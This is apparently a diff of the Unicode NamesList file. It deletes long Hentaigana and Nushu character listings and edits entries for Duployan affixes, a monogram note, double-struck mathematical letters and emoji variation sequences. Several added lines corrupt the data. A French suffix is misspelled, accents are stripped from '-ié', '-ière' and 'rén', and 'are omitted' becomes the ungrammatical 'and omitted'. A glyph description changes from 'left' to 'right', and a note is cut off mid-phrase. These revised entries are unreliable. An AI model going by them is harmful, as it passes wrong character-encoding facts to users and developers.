-1B0A7 HENTAIGANA LETTER HA-10 - * derived from 8449 -1B0A8 HENTAIGANA LETTER HA-11 - * derived from 9817 -1B0A9 HENTAIGANA LETTER HI-1 - * derived from 60B2 -1B0AA HENTAIGANA LETTER HI-2 - * derived from 65E5 -1B0AB HENTAIGANA LETTER HI-3 - * derived from 6BD4 -1B0AC HENTAIGANA LETTER HI-4 - * derived from 907F -1B0AD HENTAIGANA LETTER HI-5 - * derived from 975E -1B0AE HENTAIGANA LETTER HI-6 - * derived from 98DB -1B0AF HENTAIGANA LETTER HI-7 - * derived from 98DB -1B0B0 HENTAIGANA LETTER HU-1 - * derived from 4E0D -1B0B1 HENTAIGANA LETTER HU-2 - * derived from 5A66 -1B0B2 HENTAIGANA LETTER HU-3 - * derived from 5E03 -1B0B3 HENTAIGANA LETTER HE-1 - * derived from 500D -1B0B4 HENTAIGANA LETTER HE-2 - * derived from 5F0A -1B0B5 HENTAIGANA LETTER HE-3 - * derived from 5F0A -1B0B6 HENTAIGANA LETTER HE-4 - * derived from 904D -1B0B7 HENTAIGANA LETTER HE-5 - * derived from 908A -1B0B8 HENTAIGANA LETTER HE-6 - * derived from 908A -1B0B9 HENTAIGANA LETTER HE-7 - * derived from 90E8 -1B0BA HENTAIGANA LETTER HO-1 - * derived from 4FDD -1B0BB HENTAIGANA LETTER HO-2 - * derived from 4FDD -1B0BC HENTAIGANA LETTER HO-3 - * derived from 5831 -1B0BD HENTAIGANA LETTER HO-4 - * derived from 5949 -1B0BE HENTAIGANA LETTER HO-5 - * derived from 5BF6 -1B0BF HENTAIGANA LETTER HO-6 - * derived from 672C -1B0C0 HENTAIGANA LETTER HO-7 - * derived from 672C -1B0C1 HENTAIGANA LETTER HO-8 - * derived from 8C50 -1B0C2 HENTAIGANA LETTER MA-1 - * derived from 4E07 -1B0C3 HENTAIGANA LETTER MA-2 - * derived from 672B -1B0C4 HENTAIGANA LETTER MA-3 - * derived from 672B -1B0C5 HENTAIGANA LETTER MA-4 - * derived from 6EFF -1B0C6 HENTAIGANA LETTER MA-5 - * derived from 6EFF -1B0C7 HENTAIGANA LETTER MA-6 - * derived from 842C -1B0C8 HENTAIGANA LETTER MA-7 - * derived from 9EBB -1B0C9 HENTAIGANA LETTER MI-1 - * derived from 4E09 -1B0CA HENTAIGANA LETTER MI-2 - * derived from 5FAE -1B0CB HENTAIGANA LETTER MI-3 - * derived from 7F8E -1B0CC HENTAIGANA LETTER MI-4 - * derived from 7F8E -1B0CD HENTAIGANA LETTER MI-5 - * derived from 7F8E -1B0CE HENTAIGANA LETTER MI-6 - * derived from 898B -1B0CF HENTAIGANA LETTER MI-7 - * derived from 8EAB -1B0D0 HENTAIGANA LETTER MU-1 - * derived from 6B66 -1B0D1 HENTAIGANA LETTER MU-2 - * derived from 7121 -1B0D2 HENTAIGANA LETTER MU-3 - * derived from 725F -1B0D3 HENTAIGANA LETTER MU-4 - * derived from 821E -1B0D4 HENTAIGANA LETTER ME-1 - * derived from 514D -1B0D5 HENTAIGANA LETTER ME-2 - * derived from 9762 -1B0D6 HENTAIGANA LETTER ME-MA - * derived from 99AC -1B0D7 HENTAIGANA LETTER MO-1 - * derived from 6BCD -1B0D8 HENTAIGANA LETTER MO-2 - * derived from 6BDB -1B0D9 HENTAIGANA LETTER MO-3 - * derived from 6BDB -1B0DA HENTAIGANA LETTER MO-4 - * derived from 6BDB -1B0DB HENTAIGANA LETTER MO-5 - * derived from 8302 -1B0DC HENTAIGANA LETTER MO-6 - * derived from 88F3 -1B0DD HENTAIGANA LETTER YA-1 - * derived from 4E5F -1B0DE HENTAIGANA LETTER YA-2 - * derived from 4E5F -1B0DF HENTAIGANA LETTER YA-3 - * derived from 5C4B -1B0E0 HENTAIGANA LETTER YA-4 - * derived from 8036 -1B0E1 HENTAIGANA LETTER YA-5 - * derived from 8036 -1B0E2 HENTAIGANA LETTER YA-YO - * derived from 591C -1B0E3 HENTAIGANA LETTER YU-1 - * derived from 6E38 -1B0E4 HENTAIGANA LETTER YU-2 - * derived from 7531 -1B0E5 HENTAIGANA LETTER YU-3 - * derived from 7531 -1B0E6 HENTAIGANA LETTER YU-4 - * derived from 904A -1B0E7 HENTAIGANA LETTER YO-1 - * derived from 4EE3 -1B0E8 HENTAIGANA LETTER YO-2 - * derived from 4F59 -1B0E9 HENTAIGANA LETTER YO-3 - * derived from 8207 -1B0EA HENTAIGANA LETTER YO-4 - * derived from 8207 -1B0EB HENTAIGANA LETTER YO-5 - * derived from 8207 -1B0EC HENTAIGANA LETTER YO-6 - * derived from 9918 -1B0ED HENTAIGANA LETTER RA-1 - * derived from 7F85 -1B0EE HENTAIGANA LETTER RA-2 - * derived from 826F -1B0EF HENTAIGANA LETTER RA-3 - * derived from 826F -1B0F0 HENTAIGANA LETTER RA-4 - * derived from 826F -1B0F1 HENTAIGANA LETTER RI-1 - * derived from 5229 -1B0F2 HENTAIGANA LETTER RI-2 - * derived from 5229 -1B0F3 HENTAIGANA LETTER RI-3 - * derived from 674E -1B0F4 HENTAIGANA LETTER RI-4 - * derived from 68A8 -1B0F5 HENTAIGANA LETTER RI-5 - * derived from 7406 -1B0F6 HENTAIGANA LETTER RI-6 - * derived from 91CC -1B0F7 HENTAIGANA LETTER RI-7 - * derived from 96E2 -1B0F8 HENTAIGANA LETTER RU-1 - * derived from 6D41 -1B0F9 HENTAIGANA LETTER RU-2 - * derived from 7559 -1B0FA HENTAIGANA LETTER RU-3 - * derived from 7559 -1B0FB HENTAIGANA LETTER RU-4 - * derived from 7559 -1B0FC HENTAIGANA LETTER RU-5 - * derived from 7D2F -1B0FD HENTAIGANA LETTER RU-6 - * derived from 985E -1B0FE HENTAIGANA LETTER RE-1 - * derived from 79AE -1B0FF HENTAIGANA LETTER RE-2 - * derived from 79AE -@@ 1B100 Kana Extended-A 1B12F -@ Hentaigana -1B100 HENTAIGANA LETTER RE-3 - * derived from 9023 -1B101 HENTAIGANA LETTER RE-4 - * derived from 9E97 -1B102 HENTAIGANA LETTER RO-1 - * derived from 5442 -1B103 HENTAIGANA LETTER RO-2 - * derived from 5442 -1B104 HENTAIGANA LETTER RO-3 - * derived from 5A41 -1B105 HENTAIGANA LETTER RO-4 - * derived from 6A13 -1B106 HENTAIGANA LETTER RO-5 - * derived from 8DEF -1B107 HENTAIGANA LETTER RO-6 - * derived from 9732 -1B108 HENTAIGANA LETTER WA-1 - * derived from 502D -1B109 HENTAIGANA LETTER WA-2 - * derived from 548C -1B10A HENTAIGANA LETTER WA-3 - * derived from 548C -1B10B HENTAIGANA LETTER WA-4 - * derived from 738B -1B10C HENTAIGANA LETTER WA-5 - * derived from 738B -1B10D HENTAIGANA LETTER WI-1 - * derived from 4E95 -1B10E HENTAIGANA LETTER WI-2 - * derived from 4E95 -1B10F HENTAIGANA LETTER WI-3 - * derived from 5C45 -1B110 HENTAIGANA LETTER WI-4 - * derived from 7232 -1B111 HENTAIGANA LETTER WI-5 - * derived from 907A -1B112 HENTAIGANA LETTER WE-1 - * derived from 60E0 -1B113 HENTAIGANA LETTER WE-2 - * derived from 885E -1B114 HENTAIGANA LETTER WE-3 - * derived from 885E -1B115 HENTAIGANA LETTER WE-4 - * derived from 885E -1B116 HENTAIGANA LETTER WO-1 - * derived from 4E4E -1B117 HENTAIGANA LETTER WO-2 - * derived from 4E4E -1B118 HENTAIGANA LETTER WO-3 - * derived from 5C3E -1B119 HENTAIGANA LETTER WO-4 - * derived from 7DD2 -1B11A HENTAIGANA LETTER WO-5 - * derived from 8D8A -1B11B HENTAIGANA LETTER WO-6 - * derived from 9060 -1B11C HENTAIGANA LETTER WO-7 - * derived from 9060 -1B11D HENTAIGANA LETTER N-MU-MO-1 - * derived from 65E0 -1B11E HENTAIGANA LETTER N-MU-MO-2 - * derived from 65E0 -@@ 1B170 Nushu 1B2FF -@+ A more accurate spelling of the name of this script is Nüshu. -@ One-stroke character -1B170 NUSHU CHARACTER-1B170 - x 4E00 -@ Two-stroke characters -1B171 NUSHU CHARACTER-1B171 - x 4E8C -1B172 NUSHU CHARACTER-1B172 -1B173 NUSHU CHARACTER-1B173 -1B174 NUSHU CHARACTER-1B174 -1B175 NUSHU CHARACTER-1B175 -1B176 NUSHU CHARACTER-1B176 -1B177 NUSHU CHARACTER-1B177 -@ Three-stroke characters -1B178 NUSHU CHARACTER-1B178 - x 6C34 -1B179 NUSHU CHARACTER-1B179 -1B17A NUSHU CHARACTER-1B17A -1B17B NUSHU CHARACTER-1B17B -1B17C NUSHU CHARACTER-1B17C -1B17D NUSHU CHARACTER-1B17D -1B17E NUSHU CHARACTER-1B17E -1B17F NUSHU CHARACTER-1B17F -1B180 NUSHU CHARACTER-1B180 - x 571F -1B181 NUSHU CHARACTER-1B181 -1B182 NUSHU CHARACTER-1B182 -1B183 NUSHU CHARACTER-1B183 - x 5DE5 -1B184 NUSHU CHARACTER-1B184 -1B185 NUSHU CHARACTER-1B185 - x 4E2A -1B186 NUSHU CHARACTER-1B186 -1B187 NUSHU CHARACTER-1B187 -1B188 NUSHU CHARACTER-1B188 -1B189 NUSHU CHARACTER-1B189 -1B18A NUSHU CHARACTER-1B18A - x 4E09 -@ Four-stroke characters -1B18B NUSHU CHARACTER-1B18B -1B18C NUSHU CHARACTER-1B18C -1B18D NUSHU CHARACTER-1B18D -1B18E NUSHU CHARACTER-1B18E -1B18F NUSHU CHARACTER-1B18F -1B190 NUSHU CHARACTER-1B190 -1B191 NUSHU CHARACTER-1B191 -1B192 NUSHU CHARACTER-1B192 -1B193 NUSHU CHARACTER-1B193 -1B194 NUSHU CHARACTER-1B194 - x 592B -1B195 NUSHU CHARACTER-1B195 - x 706B -1B196 NUSHU CHARACTER-1B196 -1B197 NUSHU CHARACTER-1B197 -1B198 NUSHU CHARACTER-1B198 -1B199 NUSHU CHARACTER-1B199 -1B19A NUSHU CHARACTER-1B19A -1B19B NUSHU CHARACTER-1B19B -1B19C NUSHU CHARACTER-1B19C -1B19D NUSHU CHARACTER-1B19D -1B19E NUSHU CHARACTER-1B19E -1B19F NUSHU CHARACTER-1B19F -1B1A0 NUSHU CHARACTER-1B1A0 -1B1A1 NUSHU CHARACTER-1B1A1 - x 4EA1 -1B1A2 NUSHU CHARACTER-1B1A2 -1B1A3 NUSHU CHARACTER-1B1A3 -1B1A4 NUSHU CHARACTER-1B1A4 -1B1A5 NUSHU CHARACTER-1B1A5 -1B1A6 NUSHU CHARACTER-1B1A6 -1B1A7 NUSHU CHARACTER-1B1A7 - x 738B -@ Five-stroke characters -1B1A8 NUSHU CHARACTER-1B1A8 - x 672A -1B1A9 NUSHU CHARACTER-1B1A9 -1B1AA NUSHU CHARACTER-1B1AA -1B1AB NUSHU CHARACTER-1B1AB - x 5185 -1B1AC NUSHU CHARACTER-1B1AC -1B1AD NUSHU CHARACTER-1B1AD -1B1AE NUSHU CHARACTER-1B1AE -1B1AF NUSHU CHARACTER-1B1AF -1B1B0 NUSHU CHARACTER-1B1B0 -1B1B1 NUSHU CHARACTER-1B1B1 -1B1B2 NUSHU CHARACTER-1B1B2 -1B1B3 NUSHU CHARACTER-1B1B3 -1B1B4 NUSHU CHARACTER-1B1B4 -1B1B5 NUSHU CHARACTER-1B1B5 -1B1B6 NUSHU CHARACTER-1B1B6 -1B1B7 NUSHU CHARACTER-1B1B7 -1B1B8 NUSHU CHARACTER-1B1B8 -1B1B9 NUSHU CHARACTER-1B1B9 -1B1BA NUSHU CHARACTER-1B1BA -1B1BB NUSHU CHARACTER-1B1BB -1B1BC NUSHU CHARACTER-1B1BC -1B1BD NUSHU CHARACTER-1B1BD -1B1BE NUSHU CHARACTER-1B1BE -1B1BF NUSHU CHARACTER-1B1BF -1B1C0 NUSHU CHARACTER-1B1C0 -1B1C1 NUSHU CHARACTER-1B1C1 -1B1C2 NUSHU CHARACTER-1B1C2 -1B1C3 NUSHU CHARACTER-1B1C3 -1B1C4 NUSHU CHARACTER-1B1C4 -1B1C5 NUSHU CHARACTER-1B1C5 -1B1C6 NUSHU CHARACTER-1B1C6 -1B1C7 NUSHU CHARACTER-1B1C7 -1B1C8 NUSHU CHARACTER-1B1C8 -1B1C9 NUSHU CHARACTER-1B1C9 -1B1CA NUSHU CHARACTER-1B1CA -1B1CB NUSHU CHARACTER-1B1CB -1B1CC NUSHU CHARACTER-1B1CC - x 540E -1B1CD NUSHU CHARACTER-1B1CD -1B1CE NUSHU CHARACTER-1B1CE -1B1CF NUSHU CHARACTER-1B1CF -1B1D0 NUSHU CHARACTER-1B1D0 -1B1D1 NUSHU CHARACTER-1B1D1 -1B1D2 NUSHU CHARACTER-1B1D2 -1B1D3 NUSHU CHARACTER-1B1D3 -1B1D4 NUSHU CHARACTER-1B1D4 -1B1D5 NUSHU CHARACTER-1B1D5 -1B1D6 NUSHU CHARACTER-1B1D6 -1B1D7 NUSHU CHARACTER-1B1D7 -1B1D8 NUSHU CHARACTER-1B1D8 -1B1D9 NUSHU CHARACTER-1B1D9 -1B1DA NUSHU CHARACTER-1B1DA -1B1DB NUSHU CHARACTER-1B1DB -1B1DC NUSHU CHARACTER-1B1DC -1B1DD NUSHU CHARACTER-1B1DD -@ Six-stroke characters -1B1DE NUSHU CHARACTER-1B1DE -1B1DF NUSHU CHARACTER-1B1DF -1B1E0 NUSHU CHARACTER-1B1E0 -1B1E1 NUSHU CHARACTER-1B1E1 -1B1E2 NUSHU CHARACTER-1B1E2 -1B1E3 NUSHU CHARACTER-1B1E3 -1B1E4 NUSHU CHARACTER-1B1E4 -1B1E5 NUSHU CHARACTER-1B1E5 -1B1E6 NUSHU CHARACTER-1B1E6 -1B1E7 NUSHU CHARACTER-1B1E7 -1B1E8 NUSHU CHARACTER-1B1E8 -1B1E9 NUSHU CHARACTER-1B1E9 -1B1EA NUSHU CHARACTER-1B1EA -1B1EB NUSHU CHARACTER-1B1EB -1B1EC NUSHU CHARACTER-1B1EC -1B1ED NUSHU CHARACTER-1B1ED -1B1EE NUSHU CHARACTER-1B1EE -1B1EF NUSHU CHARACTER-1B1EF -1B1F0 NUSHU CHARACTER-1B1F0 - x 53E4 -1B1F1 NUSHU CHARACTER-1B1F1 -1B1F2 NUSHU CHARACTER-1B1F2 -1B1F3 NUSHU CHARACTER-1B1F3 -1B1F4 NUSHU CHARACTER-1B1F4 -1B1F5 NUSHU CHARACTER-1B1F5 -1B1F6 NUSHU CHARACTER-1B1F6 -1B1F7 NUSHU CHARACTER-1B1F7 -1B1F8 NUSHU CHARACTER-1B1F8 -1B1F9 NUSHU CHARACTER-1B1F9 -1B1FA NUSHU CHARACTER-1B1FA -1B1FB NUSHU CHARACTER-1B1FB -1B1FC NUSHU CHARACTER-1B1FC -1B1FD NUSHU CHARACTER-1B1FD -1B1FE NUSHU CHARACTER-1B1FE -1B1FF NUSHU CHARACTER-1B1FF -1B200 NUSHU CHARACTER-1B200 -1B201 NUSHU CHARACTER-1B201 - x 591A -1B202 NUSHU CHARACTER-1B202 -1B203 NUSHU CHARACTER-1B203 -1B204 NUSHU CHARACTER-1B204 -1B205 NUSHU CHARACTER-1B205 - x 7532 -1B206 NUSHU CHARACTER-1B206 -1B207 NUSHU CHARACTER-1B207 -1B208 NUSHU CHARACTER-1B208 -1B209 NUSHU CHARACTER-1B209 -1B20A NUSHU CHARACTER-1B20A - x 53CC -1B20B NUSHU CHARACTER-1B20B -1B20C NUSHU CHARACTER-1B20C -1B20D NUSHU CHARACTER-1B20D -1B20E NUSHU CHARACTER-1B20E - x 7530 -1B20F NUSHU CHARACTER-1B20F -1B210 NUSHU CHARACTER-1B210 -1B211 NUSHU CHARACTER-1B211 -1B212 NUSHU CHARACTER-1B212 -1B213 NUSHU CHARACTER-1B213 - x 5723 -1B214 NUSHU CHARACTER-1B214 -1B215 NUSHU CHARACTER-1B215 -@ Seven-stroke characters -1B216 NUSHU CHARACTER-1B216 - x 65E9 -1B217 NUSHU CHARACTER-1B217 -1B218 NUSHU CHARACTER-1B218 -1B219 NUSHU CHARACTER-1B219 -1B21A NUSHU CHARACTER-1B21A -1B21B NUSHU CHARACTER-1B21B -1B21C NUSHU CHARACTER-1B21C -1B21D NUSHU CHARACTER-1B21D -1B21E NUSHU CHARACTER-1B21E -1B21F NUSHU CHARACTER-1B21F -1B220 NUSHU CHARACTER-1B220 -1B221 NUSHU CHARACTER-1B221 -1B222 NUSHU CHARACTER-1B222 -1B223 NUSHU CHARACTER-1B223 -1B224 NUSHU CHARACTER-1B224 -1B225 NUSHU CHARACTER-1B225 -1B226 NUSHU CHARACTER-1B226 -1B227 NUSHU CHARACTER-1B227 -1B228 NUSHU CHARACTER-1B228 -1B229 NUSHU CHARACTER-1B229 -1B22A NUSHU CHARACTER-1B22A -1B22B NUSHU CHARACTER-1B22B -1B22C NUSHU CHARACTER-1B22C -1B22D NUSHU CHARACTER-1B22D -1B22E NUSHU CHARACTER-1B22E - x 6286 -1B22F NUSHU CHARACTER-1B22F -1B230 NUSHU CHARACTER-1B230 -1B231 NUSHU CHARACTER-1B231 -1B232 NUSHU CHARACTER-1B232 -1B233 NUSHU CHARACTER-1B233 -1B234 NUSHU CHARACTER-1B234 -1B235 NUSHU CHARACTER-1B235 -1B236 NUSHU CHARACTER-1B236 -1B237 NUSHU CHARACTER-1B237 -1B238 NUSHU CHARACTER-1B238 -1B239 NUSHU CHARACTER-1B239 -1B23A NUSHU CHARACTER-1B23A -1B23B NUSHU CHARACTER-1B23B -1B23C NUSHU CHARACTER-1B23C -1B23D NUSHU CHARACTER-1B23D -1B23E NUSHU CHARACTER-1B23E -1B23F NUSHU CHARACTER-1B23F -1B240 NUSHU CHARACTER-1B240 -1B241 NUSHU CHARACTER-1B241 -1B242 NUSHU CHARACTER-1B242 -1B243 NUSHU CHARACTER-1B243 -@ Eight-stroke characters -1B244 NUSHU CHARACTER-1B244 - x 91CC -1B245 NUSHU CHARACTER-1B245 -1B246 NUSHU CHARACTER-1B246 -1B247 NUSHU CHARACTER-1B247 -1B248 NUSHU CHARACTER-1B248 -1B249 NUSHU CHARACTER-1B249 -1B24A NUSHU CHARACTER-1B24A -1B24B NUSHU CHARACTER-1B24B -1B24C NUSHU CHARACTER-1B24C -1B24D NUSHU CHARACTER-1B24D -1B24E NUSHU CHARACTER-1B24E -1B24F NUSHU CHARACTER-1B24F -1B250 NUSHU CHARACTER-1B250 -1B251 NUSHU CHARACTER-1B251 -1B252 NUSHU CHARACTER-1B252 -1B253 NUSHU CHARACTER-1B253 -1B254 NUSHU CHARACTER-1B254 -1B255 NUSHU CHARACTER-1B255 -1B256 NUSHU CHARACTER-1B256 -1B257 NUSHU CHARACTER-1B257 -1B258 NUSHU CHARACTER-1B258 -1B259 NUSHU CHARACTER-1B259 -1B25A NUSHU CHARACTER-1B25A -1B25B NUSHU CHARACTER-1B25B -1B25C NUSHU CHARACTER-1B25C -1B25D NUSHU CHARACTER-1B25D -1B25E NUSHU CHARACTER-1B25E -1B25F NUSHU CHARACTER-1B25F -1B260 NUSHU CHARACTER-1B260 -1B261 NUSHU CHARACTER-1B261 -1B262 NUSHU CHARACTER-1B262 -1B263 NUSHU CHARACTER-1B263 -1B264 NUSHU CHARACTER-1B264 -1B265 NUSHU CHARACTER-1B265 - x 53F7 -1B266 NUSHU CHARACTER-1B266 -1B267 NUSHU CHARACTER-1B267 -1B268 NUSHU CHARACTER-1B268 -1B269 NUSHU CHARACTER-1B269 -1B26A NUSHU CHARACTER-1B26A -1B26B NUSHU CHARACTER-1B26B -1B26C NUSHU CHARACTER-1B26C -1B26D NUSHU CHARACTER-1B26D -1B26E NUSHU CHARACTER-1B26E -1B26F NUSHU CHARACTER-1B26F -1B270 NUSHU CHARACTER-1B270 -1B271 NUSHU CHARACTER-1B271 -1B272 NUSHU CHARACTER-1B272 -1B273 NUSHU CHARACTER-1B273 -1B274 NUSHU CHARACTER-1B274 -1B275 NUSHU CHARACTER-1B275 -1B276 NUSHU CHARACTER-1B276 -1B277 NUSHU CHARACTER-1B277 -1B278 NUSHU CHARACTER-1B278 -1B279 NUSHU CHARACTER-1B279 -1B27A NUSHU CHARACTER-1B27A -1B27B NUSHU CHARACTER-1B27B -1B27C NUSHU CHARACTER-1B27C -1B27D NUSHU CHARACTER-1B27D -1B27E NUSHU CHARACTER-1B27E -1B27F NUSHU CHARACTER-1B27F -1B280 NUSHU CHARACTER-1B280 -1B281 NUSHU CHARACTER-1B281 -1B282 NUSHU CHARACTER-1B282 -1B283 NUSHU CHARACTER-1B283 -@ Nine-stroke characters -1B284 NUSHU CHARACTER-1B284 -1B285 NUSHU CHARACTER-1B285 -1B286 NUSHU CHARACTER-1B286 -1B287 NUSHU CHARACTER-1B287 -1B288 NUSHU CHARACTER-1B288 -1B289 NUSHU CHARACTER-1B289 -1B28A NUSHU CHARACTER-1B28A -1B28B NUSHU CHARACTER-1B28B -1B28C NUSHU CHARACTER-1B28C -1B28D NUSHU CHARACTER-1B28D -1B28E NUSHU CHARACTER-1B28E -1B28F NUSHU CHARACTER-1B28F -1B290 NUSHU CHARACTER-1B290 -1B291 NUSHU CHARACTER-1B291 -1B292 NUSHU CHARACTER-1B292 -1B293 NUSHU CHARACTER-1B293 -1B294 NUSHU CHARACTER-1B294 -1B295 NUSHU CHARACTER-1B295 -1B296 NUSHU CHARACTER-1B296 -1B297 NUSHU CHARACTER-1B297 -1B298 NUSHU CHARACTER-1B298 -1B299 NUSHU CHARACTER-1B299 -1B29A NUSHU CHARACTER-1B29A -1B29B NUSHU CHARACTER-1B29B -1B29C NUSHU CHARACTER-1B29C -1B29D NUSHU CHARACTER-1B29D -1B29E NUSHU CHARACTER-1B29E -1B29F NUSHU CHARACTER-1B29F -1B2A0 NUSHU CHARACTER-1B2A0 -1B2A1 NUSHU CHARACTER-1B2A1 -1B2A2 NUSHU CHARACTER-1B2A2 -1B2A3 NUSHU CHARACTER-1B2A3 - x 82F1 -1B2A4 NUSHU CHARACTER-1B2A4 -1B2A5 NUSHU CHARACTER-1B2A5 -1B2A6 NUSHU CHARACTER-1B2A6 -1B2A7 NUSHU CHARACTER-1B2A7 -1B2A8 NUSHU CHARACTER-1B2A8 -1B2A9 NUSHU CHARACTER-1B2A9 -1B2AA NUSHU CHARACTER-1B2AA -1B2AB NUSHU CHARACTER-1B2AB -1B2AC NUSHU CHARACTER-1B2AC -1B2AD NUSHU CHARACTER-1B2AD -1B2AE NUSHU CHARACTER-1B2AE -1B2AF NUSHU CHARACTER-1B2AF -@ Ten-stroke characters -1B2B0 NUSHU CHARACTER-1B2B0 -1B2B1 NUSHU CHARACTER-1B2B1 -1B2B2 NUSHU CHARACTER-1B2B2 -1B2B3 NUSHU CHARACTER-1B2B3 -1B2B4 NUSHU CHARACTER-1B2B4 -1B2B5 NUSHU CHARACTER-1B2B5 -1B2B6 NUSHU CHARACTER-1B2B6 -1B2B7 NUSHU CHARACTER-1B2B7 -1B2B8 NUSHU CHARACTER-1B2B8 -1B2B9 NUSHU CHARACTER-1B2B9 -1B2BA NUSHU CHARACTER-1B2BA -1B2BB NUSHU CHARACTER-1B2BB -1B2BC NUSHU CHARACTER-1B2BC -1B2BD NUSHU CHARACTER-1B2BD -1B2BE NUSHU CHARACTER-1B2BE -1B2BF NUSHU CHARACTER-1B2BF -1B2C0 NUSHU CHARACTER-1B2C0 -1B2C1 NUSHU CHARACTER-1B2C1 - x 9580 -1B2C2 NUSHU CHARACTER-1B2C2 -1B2C3 NUSHU CHARACTER-1B2C3 -1B2C4 NUSHU CHARACTER-1B2C4 -1B2C5 NUSHU CHARACTER-1B2C5 -1B2C6 NUSHU CHARACTER-1B2C6 -1B2C7 NUSHU CHARACTER-1B2C7 -1B2C8 NUSHU CHARACTER-1B2C8 -1B2C9 NUSHU CHARACTER-1B2C9 -1B2CA NUSHU CHARACTER-1B2CA -1B2CB NUSHU CHARACTER-1B2CB -1B2CC NUSHU CHARACTER-1B2CC -1B2CD NUSHU CHARACTER-1B2CD -@ Eleven-stroke characters -1B2CE NUSHU CHARACTER-1B2CE -1B2CF NUSHU CHARACTER-1B2CF -1B2D0 NUSHU CHARACTER-1B2D0 -1B2D1 NUSHU CHARACTER-1B2D1 - x 57CB -1B2D2 NUSHU CHARACTER-1B2D2 -1B2D3 NUSHU CHARACTER-1B2D3 -1B2D4 NUSHU CHARACTER-1B2D4 -1B2D5 NUSHU CHARACTER-1B2D5 -1B2D6 NUSHU CHARACTER-1B2D6 - x 83AB -1B2D7 NUSHU CHARACTER-1B2D7 -1B2D8 NUSHU CHARACTER-1B2D8 -1B2D9 NUSHU CHARACTER-1B2D9 -1B2DA NUSHU CHARACTER-1B2DA -1B2DB NUSHU CHARACTER-1B2DB -1B2DC NUSHU CHARACTER-1B2DC -1B2DD NUSHU CHARACTER-1B2DD -1B2DE NUSHU CHARACTER-1B2DE -1B2DF NUSHU CHARACTER-1B2DF -1B2E0 NUSHU CHARACTER-1B2E0 -@ Twelve-stroke characters -1B2E1 NUSHU CHARACTER-1B2E1 -1B2E2 NUSHU CHARACTER-1B2E2 -1B2E3 NUSHU CHARACTER-1B2E3 -1B2E4 NUSHU CHARACTER-1B2E4 -1B2E5 NUSHU CHARACTER-1B2E5 -1B2E6 NUSHU CHARACTER-1B2E6 -1B2E7 NUSHU CHARACTER-1B2E7 -1B2E8 NUSHU CHARACTER-1B2E8 -1B2E9 NUSHU CHARACTER-1B2E9 -1B2EA NUSHU CHARACTER-1B2EA -1B2EB NUSHU CHARACTER-1B2EB -1B2EC NUSHU CHARACTER-1B2EC -1B2ED NUSHU CHARACTER-1B2ED -@ Thirteen-stroke characters -1B2EE NUSHU CHARACTER-1B2EE -1B2EF NUSHU CHARACTER-1B2EF -1B2F0 NUSHU CHARACTER-1B2F0 -1B2F1 NUSHU CHARACTER-1B2F1 -1B2F2 NUSHU CHARACTER-1B2F2 -1B2F3 NUSHU CHARACTER-1B2F3 -@ Fourteen-stroke characters -1B2F4 NUSHU CHARACTER-1B2F4 -1B2F5 NUSHU CHARACTER-1B2F5 -1B2F6 NUSHU CHARACTER-1B2F6 -@ Fifteen-stroke characters -1B2F7 NUSHU CHARACTER-1B2F7 -1B2F8 NUSHU CHARACTER-1B2F8 -1B2F9 NUSHU CHARACTER-1B2F9 -@ Sixteen-stroke characters -1B2FA NUSHU CHARACTER-1B2FA -1B2FB NUSHU CHARACTER-1B2FB @@ 1BC00 Duployan 1BC9F @ Non-joining consonants 1BC00 DUPLOYAN LETTER H @@ -40617,7 +39199,7 @@ FFFF * Romanian str-/-str 1BC79 DUPLOYAN AFFIX ATTACHED TAIL * orientating character - * French suffix -sionnaire + * French suffix -sionaire 1BC7A DUPLOYAN AFFIX ATTACHED E HOOK * glyph is retrograde and opens up or down, depending on preceding letter * French suffix -te @@ -40689,12 +39271,12 @@ FFFF 1BC93 DUPLOYAN AFFIX LOW LONG GRAVE * Pernin extra- 1BC94 DUPLOYAN AFFIX LOW DOT - * French suffix -ié + * French suffix -ie * French iterative number * Romanian affix inter- * not Romanian millions - see 0323 combining dot below and 0324 combining diaeresis below 1BC95 DUPLOYAN AFFIX LOW CIRCLE - * French suffix -ière + * French suffix -iere * French percent x (modifier letter low ring - 02F3) 1BC96 DUPLOYAN AFFIX LOW LINE @@ -41508,7 +40090,7 @@ FFFF @ Monogram 1D300 MONOGRAM FOR EARTH = ren - * usually associated with human (Chinese rén), rather than earth (Chinese dì) + * usually associated with human (Chinese ren), rather than earth x (monogram for yang - 268A) x (monogram for yin - 268B) @ Digrams @@ -42266,9 +40848,9 @@ FFFF 1D537 MATHEMATICAL FRAKTUR SMALL Z # 007A latin small letter z @ Double-struck symbols -@+ This style is sometimes known as open-face or blackboard-bold. Double-struck symbols already encoded in the Letterlike Symbols block are omitted here to avoid duplicate encoding. Considerable variation in font style is acceptable, as long as the glyphs retain the visual element of doubled strokes. +@+ This style is sometimes known as open-face or blackboard-bold. Double-struck symbols already encoded in the Letterlike Symbols block and omitted here to avoid duplicate encoding. Considerable variation in font style is acceptable, as long as the glyphs retain the visual element of doubled strokes. 1D538 MATHEMATICAL DOUBLE-STRUCK CAPITAL A - * a glyph variant with doubled stroke on the left exists + * a glyph variant with doubled stroke on the right exists # 0041 latin capital letter a 1D539 MATHEMATICAL DOUBLE-STRUCK CAPITAL B # 0042 latin capital letter b @@ -45169,6 +43751,8 @@ FFFF @ Dragon tiles 1F004 MAHJONG TILE RED DRAGON = hongzhong + ~ 1F004 FE0E text style + ~ 1F004 FE0F emoji style 1F005 MAHJONG TILE GREEN DRAGON = qingfa 1F006 MAHJONG TILE WHITE DRAGON @@ -45224,6 +43808,7 @@ FFFF 1F02A MAHJONG TILE JOKER = baida 1F02B MAHJONG TILE BACK +@~ ! @@ 1F030 Domino Tiles 1F09F @ Horizontal tiles 1F030 DOMINO TILE HORIZONTAL BACK @@ -45707,8 +44292,12 @@ FFFF @+ The square edges may be slightly rounded. 1F170 NEGATIVE SQUARED LATIN CAPITAL LETTER A = blood type A + ~ 1F170 FE0E text style + ~ 1F170 FE0F emoji style 1F171 NEGATIVE SQUARED LATIN CAPITAL LETTER B = blood type B + ~ 1F171 FE0E text style + ~ 1F171 FE0F emoji style 1F172 NEGATIVE SQUARED LATIN CAPITAL LETTER C = centre, city centre 1F173 NEGATIVE SQUARED LATIN CAPITAL LETTER D @@ -45730,8 +44319,12 @@ FFFF 1F17D NEGATIVE SQUARED LATIN CAPITAL LETTER N 1F17E NEGATIVE SQUARED LATIN CAPITAL LETTER O = blood type O + ~ 1F17E FE0E text style + ~ 1F17E FE0F emoji style 1F17F NEGATIVE SQUARED LATIN CAPITAL LETTER P = parking space empty-full (ARIB STD B24) + ~ 1F17F FE0E text style + ~ 1F17F FE0F emoji style 1F180 NEGATIVE SQUARED LATIN CAPITAL LETTER Q 